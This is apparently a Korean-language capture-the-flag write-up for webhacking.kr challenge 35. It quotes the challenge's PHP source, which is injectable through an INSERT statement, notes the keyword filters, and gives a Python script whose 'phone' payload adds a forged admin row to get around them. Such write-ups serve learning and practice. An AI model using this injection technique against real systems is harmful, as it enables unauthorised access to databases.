#️⃣

OLD-35

phone 필터링 : if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack"); ⇒ # / = select -
id 필터링 : if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
ip 가 원격 접속 주소와 같아야 함. ⇒ if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
id 가 admin으로 들어갈 수 있도록 해야 한다. id 항목에서는 admin 문자열을 검색하기 때문에 id 항목을 phone 에 넣을 수 있으면 좋을 수도 있다.
또 id 최대 길이가 5다. 이상한 걸 넣지는 못하겠다
일단 번호를 넣어버리면 결과가 어떻게 처리되는지 잘 이해가 안가는데,,, 주석으로 들어간다.
import requests URL = "https://webhacking.kr/challenge/web-17/index.php" cookie = {"PHPSESSID": "<--REDACTED-->"} pay= "1),('admin','%7B$_SERVER['REMOTE_ADDR']%7D',2222" pay= "1),('admin','218.146.20.55',2222" print("QUERY : "+"values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',"+pay+")") # filtering : # / = select - ; # para = { "phone": pay, "id": "guest" } res = requests.get(url=URL,params=para) if "query error" not in res.text: print(res.text) else: print("FAILED")
PHP
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 35</title> <head> <body> <form method=get action=index.php> phone : <input name=phone size=11 style=width:200px> <input name=id type=hidden value=guest> <input type=submit value='add'> </form> <?php $db = dbconnect(); if($_GET['phone'] && $_GET['id']){ if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack"); if(strlen($_GET['id']) > 5) exit("no hack"); if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin"); mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error"); echo "Done<br>"; } $isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'")); if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){ solve(35); mysqli_query($db,"delete from chall35"); } $phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'"); echo "<!--\n"; while($r = mysqli_fetch_array($phone_list)){ echo htmlentities($r['id'])." - ".$r['phone']."\n"; } echo "-->\n"; ?> <br><a href=?view_source=1>view-source</a> </body> </html>
PHP